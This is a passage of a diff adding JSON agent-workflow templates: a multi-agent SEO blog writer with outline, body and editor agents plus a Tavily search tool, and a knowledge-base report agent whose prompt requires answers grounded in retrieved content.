naturally.]\n\n",
+                                "temperature": 0.2,
+                                "temperatureEnabled": true,
+                                "tools": [
+                                    {
+                                        "component_name": "TavilySearch",
+                                        "name": "TavilySearch",
+                                        "params": {
+                                            "api_key": "",
+                                            "days": 7,
+                                            "exclude_domains": [],
+                                            "include_answer": false,
+                                            "include_domains": [],
+                                            "include_image_descriptions": false,
+                                            "include_images": false,
+                                            "include_raw_content": true,
+                                            "max_results": 5,
+                                            "outputs": {
+                                                "formalized_content": {
+                                                    "type": "string",
+                                                    "value": ""
+                                                },
+                                                "json": {
+                                                    "type": "Array<Object>",
+                                                    "value": []
+                                                }
+                                            },
+                                            "query": "sys.query",
+                                            "search_depth": "basic",
+                                            "topic": "general"
+                                        }
+                                    }
+                                ],
+                                "topPEnabled": false,
+                                "top_p": 0.75,
+                                "user_prompt": "This is the order you need to send to the agent.",
+                                "visual_files_var": ""
+                            },
+                            "label": "Agent",
+                            "name": "Body Agent"
+                        },
+                        "dragging": false,
+                        "id": "Agent:IcyPawsRescue",
+                        "measured": {
+                            "height": 84,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 439.3374395738501,
+                            "y": 366.1408588516909
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "agentNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "delay_after_error": 1,
+                                "description": "Polishes and finalizes the entire blog post. Enhances clarity, checks keyword usage, improves flow, and generates a meta title and description for SEO. Operates after all sections are completed.\n\n",
+                                "exception_comment": "",
+                                "exception_default_value": "",
+                                "exception_goto": [],
+                                "exception_method": null,
+                                "frequencyPenaltyEnabled": false,
+                                "frequency_penalty": 0.5,
+                                "llm_id": "deepseek-chat@DeepSeek",
+                                "maxTokensEnabled": false,
+                                "max_retries": 3,
+                                "max_rounds": 2,
+                                "max_tokens": 4096,
+                                "mcp": [],
+                                "message_history_window_size": 12,
+                                "outputs": {
+                                    "content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "parameter": "Precise",
+                                "presencePenaltyEnabled": false,
+                                "presence_penalty": 0.5,
+                                "prompts": [
+                                    {
+                                        "content": "{sys.query}",
+                                        "role": "user"
+                                    }
+                                ],
+                                "sys_prompt": "# Role\n\nYou are the **Editor Agent**, the final agent in a multi-agent SEO blog writing workflow. You are responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n## Integration Responsibilities\n\n- Maintain alignment with Lead Agent's original intent and audience\n\n- Preserve the structure and keyword strategy from Outline Agent\n\n- Enhance and polish Body Agent's content without altering core information\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n",
+                                "temperature": 0.2,
+                                "temperatureEnabled": true,
+                                "tools": [],
+                                "topPEnabled": false,
+                                "top_p": 0.75,
+                                "user_prompt": "This is the order you need to send to the agent.",
+                                "visual_files_var": ""
+                            },
+                            "label": "Agent",
+                            "name": "Editor Agent"
+                        },
+                        "dragging": false,
+                        "id": "Agent:TenderAdsAllow",
+                        "measured": {
+                            "height": 84,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 730.8513124709204,
+                            "y": 327.351197329827
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "agentNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "description": "This is an agent for a specific task.",
+                                "user_prompt": "This is the order you need to send to the agent."
+                            },
+                            "label": "Tool",
+                            "name": "flow.tool_0"
+                        },
+                        "dragging": false,
+                        "id": "Tool:ThreeWallsRing",
+                        "measured": {
+                            "height": 48,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": -26.93431957115564,
+                            "y": 531.4384641920368
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "toolNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "description": "This is an agent for a specific task.",
+                                "user_prompt": "This is the order you need to send to the agent."
+                            },
+                            "label": "Tool",
+                            "name": "flow.tool_1"
+                        },
+                        "dragging": false,
+                        "id": "Tool:FloppyJokesItch",
+                        "measured": {
+                            "height": 48,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 414.6786783453011,
+                            "y": 499.39483076093194
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "toolNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "This is a multi-agent version of the SEO blog generation workflow. It simulates a small team of AI \u201cwriters\u201d, where each agent plays a specialized role \u2014 just like a real editorial team.\n\nInstead of one AI doing everything in order, this version uses a **Lead Agent** to assign tasks to different sub-agents, who then write and edit the blog in parallel. The Lead Agent manages everything and produces the final output.\n\n### Why use multi-agent format?\n\n- Better control over each stage of writing  \n- Easier to reuse agents across tasks  \n- More human-like workflow (planning \u2192 writing \u2192 editing \u2192 publishing)  \n- Easier to scale and customize for advanced users\n\n### Flow Summary:\n\n1. `LeadWriter_Agent` takes your input and creates a plan\n2. It sends that plan to:\n   - `OutlineWriter_Agent`: build blog structure\n   - `BodyWriter_Agent`: write full content\n   - `FinalEditor_Agent`: polish and finalize\n3. `LeadWriter_Agent` collects all results and outputs the final blog post\n"
+                            },
+                            "label": "Note",
+                            "name": "Workflow Overall Description"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 208,
+                        "id": "Note:ElevenVansInvent",
+                        "measured": {
+                            "height": 208,
+                            "width": 518
+                        },
+                        "position": {
+                            "x": -336.6586460874556,
+                            "y": 113.43253511344867
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 518
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "**Purpose**:  \nThis is the central agent that controls the entire writing process.\n\n**What it does**:\n- Reads your blog topic and intent\n- Generates a clear writing plan (topic, audience, goal, keywords)\n- Sends instructions to all sub-agents\n- Waits for their responses and checks quality\n- If any section is missing or weak, it can request a rewrite\n- Finally, it assembles all parts into a complete blog and sends it back to you\n"
+                            },
+                            "label": "Note",
+                            "name": "Lead Agent"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 146,
+                        "id": "Note:EmptyClubsGreet",
+                        "measured": {
+                            "height": 146,
+                            "width": 334
+                        },
+                        "position": {
+                            "x": 390.1408623279084,
+                            "y": 2.6521144030202493
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 334
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "**Purpose**:  \nThis agent is responsible for building the blog's structure. It creates an outline that shows what the article will cover and how it's organized.\n\n**What it does**:\n- Suggests a blog title that matches the topic and keywords  \n- Breaks the article into sections using H2 and H3 headers  \n- Adds a short description of what each section should include  \n- Assigns SEO keywords to each section for better search visibility  \n- Uses search data (via Tavily Search) to find how similar blogs are structured"
+                            },
+                            "label": "Note",
+                            "name": "Outline Agent"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 157,
+                        "id": "Note:CurlyTigersDouble",
+                        "measured": {
+                            "height": 157,
+                            "width": 394
+                        },
+                        "position": {
+                            "x": -60.03139680691618,
+                            "y": 595.8208080534818
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 394
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "**Purpose**:  \nThis agent is in charge of writing the full blog content, section by section, based on the outline it receives.\n\n**What it does**:\n- Takes each section heading from the outline (H2 / H3)\n- Writes a complete paragraph (150\u2013220 words) under each section\n- Naturally includes the keywords provided for that section\n- Uses the Tavily Search tool to add real-world examples, definitions, or facts if needed\n- Makes sure each section is clear, useful, and easy to read\n"
+                            },
+                            "label": "Note",
+                            "name": "Body Agent"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 164,
+                        "id": "Note:StrongKingsCamp",
+                        "measured": {
+                            "height": 164,
+                            "width": 408
+                        },
+                        "position": {
+                            "x": 446.54943226110845,
+                            "y": 590.9443887062529
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 408
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "**Purpose**:  \nThis agent reviews, polishes, and finalizes the blog post written by the BodyWriter_Agent. It ensures everything is clean, smooth, and SEO-compliant.\n\n**What it does**:\n- Improves grammar, sentence flow, and transitions  \n- Makes sure the content reads naturally and professionally  \n- Checks whether keywords are present and well integrated (but not overused)  \n- Verifies that the structure follows the correct H1/H2/H3 format  \n"
+                            },
+                            "label": "Note",
+                            "name": "Editor Agent"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 147,
+                        "id": "Note:OpenOttersShow",
+                        "measured": {
+                            "height": 147,
+                            "width": 357
+                        },
+                        "position": {
+                            "x": 976.6858726228803,
+                            "y": 422.7404806291804
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 357
+                    }
+                ]
+            },
+            "history": [],
+            "messages": [],
+            "path": [],
+            "retrieval": []
+        },
+    "avatar": "data:image/jpeg;base64,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"
+}

agent/templates/knowledge_base_report.json

@@ -0,0 +1,327 @@
+{
+    "id": 20,
+    "title": "Report Agent Using Knowledge Base",
+    "description": "A report generation assistant using local knowledge base, with advanced capabilities in task planning, reasoning, and reflective analysis. Recommended for academic research paper Q&A",
+    "canvas_type": "Agent",
+    "dsl": {
+        "components": {
+            "Agent:NewPumasLick": {
+                "downstream": [
+                    "Message:OrangeYearsShine"
+                ],
+                "obj": {
+                    "component_name": "Agent",
+                    "params": {
+                        "delay_after_error": 1,
+                        "description": "",
+                        "exception_comment": "",
+                        "exception_default_value": "",
+                        "exception_goto": [],
+                        "exception_method": null,
+                        "frequencyPenaltyEnabled": false,
+                        "frequency_penalty": 0.5,
+                        "llm_id": "qwen3-235b-a22b-instruct-2507@Tongyi-Qianwen",
+                        "maxTokensEnabled": true,
+                        "max_retries": 3,
+                        "max_rounds": 3,
+                        "max_tokens": 128000,
+                        "mcp": [],
+                        "message_history_window_size": 12,
+                        "outputs": {
+                            "content": {
+                                "type": "string",
+                                "value": ""
+                            }
+                        },
+                        "parameter": "Precise",
+                        "presencePenaltyEnabled": false,
+                        "presence_penalty": 0.5,
+                        "prompts": [
+                            {
+                                "content": "# User Query\n {sys.query}",
+                                "role": "user"
+                            }
+                        ],
+                        "sys_prompt": "## Role & Task\nYou are a **\u201cKnowledge Base Retrieval Q\\&A Agent\u201d** whose goal is to break down the user\u2019s question into retrievable subtasks, and then produce a multi-source-verified, structured, and actionable research report using the internal knowledge base.\n## Execution Framework (Detailed Steps & Key Points)\n1. **Assessment & Decomposition**\n   * Actions:\n     * Automatically extract: main topic, subtopics, entities (people/organizations/products/technologies), time window, geographic/business scope.\n     * Output as a list: N facts/data points that must be collected (*N* ranges from 5\u201320 depending on question complexity).\n2. **Query Type Determination (Rule-Based)**\n   * Example rules:\n     * If the question involves a single issue but requests \u201cmethod comparison/multiple explanations\u201d \u2192 use **depth-first**.\n     * If the question can naturally be split into \u22653 independent sub-questions \u2192 use **breadth-first**.\n     * If the question can be answered by a single fact/specification/definition \u2192 use **simple query**.\n3. **Research Plan Formulation**\n   * Depth-first: define 3\u20135 perspectives (methodology/stakeholders/time dimension/technical route, etc.), assign search keywords, target document types, and output format for each perspective.\n   * Breadth-first: list subtasks, prioritize them, and assign search terms.\n   * Simple query: directly provide the search sentence and required fields.\n4. **Retrieval Execution**\n   * After retrieval: perform coverage check (does it contain the key facts?) and quality check (source diversity, authority, latest update time).\n   * If standards are not met, automatically loop: rewrite queries (synonyms/cross-domain terms) and retry \u22643 times, or flag as requiring external search.\n5. **Integration & Reasoning**\n   * Build the answer using a **fact\u2013evidence\u2013reasoning** chain. For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n  * [ ] Key concepts and expected outputs identified\n  * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n  * [ ] Meets quality standards (see above)\n  * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n  * [ ] Each conclusion has at least one direct evidence source\n  * [ ] State assumptions/uncertainties\n  * [ ] Provide next-step suggestions or experiment/retrieval plans\n  * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over inaccurate content.\n4. **Output format**:\n   * Hierarchically clear modular structure\n   * Logical grouping according to the MECE principle\n   * Professionally presented formatting\n   * Step-by-step cognitive guidance\n   * Reasonable use of headings and dividers for clarity\n   * *Italicize* key parameters\n   * **Bold** critical information\n5. **LaTeX formula requirements**:\n   * Inline formulas: start and end with `$`\n   * Block formulas: start and end with `$$`, each `$$` on its own line\n   * Block formula content must comply with LaTeX math syntax\n   * Verify formula correctness\n---\n## Additional Notes (Interaction & Failure Strategy)\n* If the knowledge base does not cover critical facts: explicitly inform the user (with sample wording)\n* For time-sensitive issues: enforce time filtering in the search request, and indicate the latest retrieval date in the answer.\n* Language requirement: answer in the user\u2019s preferred language\n",
+                        "temperature": "0.1",
+                        "temperatureEnabled": true,
+                        "tools": [
+                            {
+                                "component_name": "Retrieval",
+                                "name": "Retrieval",
+                                "params": {
+                                    "cross_languages": [],
+                                    "description": "",
+                                    "empty_response": "",
+                                    "kb_ids": [],
+                                    "keywords_similarity_weight": 0.7,
+                                    "outputs": {
+                                        "formalized_content": {
+                                            "type": "string",
+                                            "value": ""
+                                        }
+                                    },
+                                    "rerank_id": "",
+                                    "similarity_threshold": 0.2,
+                                    "top_k": 1024,
+                                    "top_n": 8,
+                                    "use_kg": false
+                                }
+                            }
+                        ],
+                        "topPEnabled": false,
+                        "top_p": 0.75,
+                        "user_prompt": "",
+                        "visual_files_var": ""
+                    }
+                },
+                "upstream": [
+                    "begin"
+                ]
+            },
+            "Message:OrangeYearsShine": {
+                "downstream": [],
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                        "content": [
+                            "{Agent:NewPumasLick@content}"
+                        ]
+                    }
+                },
+                "upstream": [
+                    "Agent:NewPumasLick"
+                ]
+            },
+            "begin": {
+                "downstream": [
+                    "Agent:NewPumasLick"
+                ],
+                "obj": {
+                    "component_name": "Begin",
+                    "params": {
+                        "enablePrologue": true,
+                        "inputs": {},
+                        "mode": "conversational",
+                        "prologue": "\u4f60\u597d\uff01 \u6211\u662f\u4f60\u7684\u52a9\u7406\uff0c\u6709\u4ec0\u4e48\u53ef\u4ee5\u5e2e\u5230\u4f60\u7684\u5417\uff1f"
+                    }
+                },
+                "upstream": []
+            }
+        },
+        "globals": {
+            "sys.conversation_turns": 0,
+            "sys.files": [],
+            "sys.query": "",
+            "sys.user_id": ""
+        },
+        "graph": {
+            "edges": [
+                {
+                    "data": {
+                        "isHovered": false
+                    },
+                    "id": "xy-edge__beginstart-Agent:NewPumasLickend",
+                    "source": "begin",
+                    "sourceHandle": "start",
+                    "target": "Agent:NewPumasLick",
+                    "targetHandle": "end"
+                },
+                {
+                    "data": {
+                        "isHovered": false
+                    },
+                    "id": "xy-edge__Agent:NewPumasLickstart-Message:OrangeYearsShineend",
+                    "markerEnd": "logo",
+                    "source": "Agent:NewPumasLick",
+                    "sourceHandle": "start",
+                    "style": {
+                        "stroke": "rgba(91, 93, 106, 1)",
+                        "strokeWidth": 1
+                    },
+                    "target": "Message:OrangeYearsShine",
+                    "targetHandle": "end",
+                    "type": "buttonEdge",
+                    "zIndex": 1001
+                },
+                {
+                    "data": {
+                        "isHovered": false
+                    },
+                    "id": "xy-edge__Agent:NewPumasLicktool-Tool:AllBirdsNailend",
+                    "selected": false,
+                    "source": "Agent:NewPumasLick",
+                    "sourceHandle": "tool",
+                    "target": "Tool:AllBirdsNail",
+                    "targetHandle": "end"
+                }
+            ],
+            "nodes": [
+                {
+                    "data": {
+                        "form": {
+                            "enablePrologue": true,
+                            "inputs": {},
+                            "mode": "conversational",
+                            "prologue": "\u4f60\u597d\uff01 \u6211\u662f\u4f60\u7684\u52a9\u7406\uff0c\u6709\u4ec0\u4e48\u53ef\u4ee5\u5e2e\u5230\u4f60\u7684\u5417\uff1f"
+                        },
+                        "label": "Begin",
+                        "name": "begin"
+                    },
+                    "dragging": false,
+                    "id": "begin",
+                    "measured": {
+                        "height": 48,
+                        "width": 200
+                    },
+                    "position": {
+                        "x": -9.569875358221438,
+                        "y": 205.84018385864917
+                    },
+                    "selected": false,
+                    "sourcePosition": "left",
+                    "targetPosition": "right",
+                    "type": "beginNode"
+                },
+                {
+                    "data": {
+                        "form": {
+                            "content": [
+                                "{Agent:NewPumasLick@content}"
+                            ]
+                        },
+                        "label": "Message",
+                        "name": "Response"
+                    },
+                    "dragging": false,
+                    "id": "Message:OrangeYearsShine",
+                    "measured": {
+                        "height": 56,
+                        "width": 200
+                    },
+                    "position": {
+                        "x": 734.4061285881053,
+                        "y": 199.9706031723009
+                    },
+                    "selected": false,
+                    "sourcePosition": "right",
+                    "targetPosition": "left",
+                    "type": "messageNode"
+                },
+                {
+                    "data": {
+                        "form": {
+                            "delay_after_error": 1,
+                            "description": "",
+                            "exception_comment": "",
+                            "exception_default_value": "",
+                            "exception_goto": [],
+                            "exception_method": null,
+                            "frequencyPenaltyEnabled": false,
+                            "frequency_penalty": 0.5,
+                            "llm_id": "qwen3-235b-a22b-instruct-2507@Tongyi-Qianwen",
+                            "maxTokensEnabled": true,
+                            "max_retries": 3,
+                            "max_rounds": 3,
+                            "max_tokens": 128000,
+                            "mcp": [],
+                            "message_history_window_size": 12,
+                            "outputs": {
+                                "content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "parameter": "Precise",
+                            "presencePenaltyEnabled": false,
+                            "presence_penalty": 0.5,
+                            "prompts": [
+                                {
+                                    "content": "# User Query\n {sys.query}",
+                                    "role": "user"
+                                }
+                            ],
+                            "sys_prompt": "## Role & Task\nYou are a **\u201cKnowledge Base Retrieval Q\\&A Agent\u201d** whose goal is to break down the user\u2019s question into retrievable subtasks, and then produce a multi-source-verified, structured, and actionable research report using the internal knowledge base.\n## Execution Framework (Detailed Steps & Key Points)\n1. **Assessment & Decomposition**\n   * Actions:\n     * Automatically extract: main topic, subtopics, entities (people/organizations/products/technologies), time window, geographic/business scope.\n     * Output as a list: N facts/data points that must be collected (*N* ranges from 5\u201320 depending on question complexity).\n2. **Query Type Determination (Rule-Based)**\n   * Example rules:\n     * If the question involves a single issue but requests \u201cmethod comparison/multiple explanations\u201d \u2192 use **depth-first**.\n     * If the question can naturally be split into \u22653 independent sub-questions \u2192 use **breadth-first**.\n     * If the question can be answered by a single fact/specification/definition \u2192 use **simple query**.\n3. **Research Plan Formulation**\n   * Depth-first: define 3\u20135 perspectives (methodology/stakeholders/time dimension/technical route, etc.), assign search keywords, target document types, and output format for each perspective.\n   * Breadth-first: list subtasks, prioritize them, and assign search terms.\n   * Simple query: directly provide the search sentence and required fields.\n4. **Retrieval Execution**\n   * After retrieval: perform coverage check (does it contain the key facts?) and quality check (source diversity, authority, latest update time).\n   * If standards are not met, automatically loop: rewrite queries (synonyms/cross-domain terms) and retry \u22643 times, or flag as requiring external search.\n5. **Integration & Reasoning**\n   * Build the answer using a **fact\u2013evidence\u2013reasoning** chain. For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n  * [ ] Key concepts and expected outputs identified\n  * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n  * [ ] Meets quality standards (see above)\n  * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n  * [ ] Each conclusion has at least one direct evidence source\n  * [ ] State assumptions/uncertainties\n  * [ ] Provide next-step suggestions or experiment/retrieval plans\n  * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over inaccurate content.\n4. **Output format**:\n   * Hierarchically clear modular structure\n   * Logical grouping according to the MECE principle\n   * Professionally presented formatting\n   * Step-by-step cognitive guidance\n   * Reasonable use of headings and dividers for clarity\n   * *Italicize* key parameters\n   * **Bold** critical information\n5. **LaTeX formula requirements**:\n   * Inline formulas: start and end with `$`\n   * Block formulas: start and end with `$$`, each `$$` on its own line\n   * Block formula content must comply with LaTeX math syntax\n   * Verify formula correctness\n---\n## Additional Notes (Interaction & Failure Strategy)\n* If the knowledge base does not cover critical facts: explicitly inform the user (with sample wording)\n* For time-sensitive issues: enforce time filtering in the search request, and indicate the latest retrieval date in the answer.\n* Language requirement: answer in the user\u2019s preferred language\n",
+                            "temperature": "0.1",
+                            "temperatureEnabled": true,
+                            "tools": [
+                                {
+                                    "component_name": "Retrieval",
+                                    "name": "Retrieval",
+                                    "params": {
+                                        "cross_languages": [],
+                                        "description": "",
+                                        "empty_response": "",
+                                        "kb_ids": [],
+                                        "keywords_similarity_weight": 0.7,
+                                        "outputs": {
+                                            "formalized_content": {
+                                                "type": "string",
+                                                "value": ""
+                                            }
+                                        },
+                                        "rerank_id": "",
+                                        "similarity_threshold": 0.2,
+                                        "top_k": 1024,
+                                        "top_n": 8,
+                                        "use_kg": false
+                                    }
+                                }
+                            ],
+                            "topPEnabled": false,
+                            "top_p": 0.75,
+                            "user_prompt": "",
+                            "visual_files_var": ""
+                        },
+                        "label": "Agent",
